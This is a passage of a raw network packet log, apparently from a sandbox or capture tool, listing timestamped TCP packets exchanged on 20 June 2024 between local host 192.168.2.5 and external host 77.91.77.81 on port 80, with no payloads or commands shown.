Jun 20, 2024 15:38:06.694684029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694710016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694741964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694775105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694786072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694806099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694824934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.723850012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.723908901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.723925114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724088907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724088907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724088907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724088907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724103928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724118948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724137068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724169016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724210024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724437952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724523067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724543095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724558115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724572897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724586964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724602938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724617958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.724617958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724649906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.724682093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731198072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731229067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731328011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731343031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731355906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731355906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731477022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731492043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731507063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731514931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731525898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731589079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731664896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731785059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731817961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731836081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731849909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731877089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731884003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.731904030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.731931925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732022047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732053995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732086897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732119083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732130051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732155085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732162952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732209921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732456923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732510090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732542992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732548952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732563972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732578993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732588053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732614040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732623100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732647896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732662916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732695103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732701063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732739925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732758999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732773066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732805967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732827902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732841015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732860088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732860088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732873917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732888937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732908010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732933998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732944012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.732958078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.732991934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733228922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733262062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733294010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733300924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733319998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733326912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733340025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733361959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733371019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733397007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733412981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733429909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733442068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733467102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733477116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733500957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733510971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733535051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733551979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733567953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733582020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733603001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733616114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733638048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733649969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733671904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733683109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733707905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.733719110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.733752966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734054089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734087944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734119892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734138966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734153986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734153032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734170914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734189987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734205008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734222889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734237909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734257936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.734272957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.734302044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.736511946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.736563921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.736596107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.736624002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.736645937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.736745119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.736797094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.736828089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.736830950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.736948013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.736968040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737000942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737025976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737035036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737071037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737071991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737071991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737104893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737127066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737128973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737163067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737185955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737196922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737219095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737241983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.737241983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.737323999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.754771948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.754827023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.754863024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.754897118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.754996061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.755028963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.755062103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.755111933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.755111933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.755111933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.755112886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.755112886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.755112886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.755112886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.779911995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.779999971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780013084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780019045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780112028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780122995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780133963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780147076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780244112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780244112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780244112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780244112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780452013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780462980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780474901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780494928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780505896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780517101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780528069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780529976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780539036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780550957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780563116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780584097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780601978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780888081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780900002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780911922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780921936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.780956984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.780976057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.781032085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.781101942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810636044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810679913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810714006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810724020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810725927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810736895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810838938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810875893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810888052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.810897112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810897112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810916901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810916901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.810929060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.811021090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811033010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811043978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811053991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811064959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811075926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811089993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.811125040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.811279058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811290979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811300993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.811347008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.811362028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818033934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818046093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818057060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818129063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818155050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818192959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818205118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818216085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818228006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818238974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818242073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818269014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818289995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818527937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818538904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818550110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818562031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818573952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818586111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818598032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818600893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818610907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818623066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818633080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818636894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.818691015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818691015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.818993092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819005013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819062948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819093943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819106102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819168091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819268942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819279909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819291115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819320917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819333076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819334984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819355965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819371939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819655895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819668055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819679022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819698095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819709063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819719076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819726944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819730997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819742918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819753885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819760084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819763899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819777966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.819785118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819808960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.819822073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.820280075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820290089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820298910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820310116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820319891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820331097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820341110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820350885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.820350885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820363045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820373058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820382118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.820384026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820395947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820403099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.820499897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.820499897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.820960999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820971966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820981979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.820992947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821003914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821013927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821024895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821034908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821046114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821046114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.821057081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821069002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821079016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.821094990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.821109056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.821511030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821521997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821532011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821543932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821556091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821567059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821578026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.821582079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.821610928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.821624041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.842077017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.842089891 CEST	80	49706	77.91.77.81	192.168.2.5
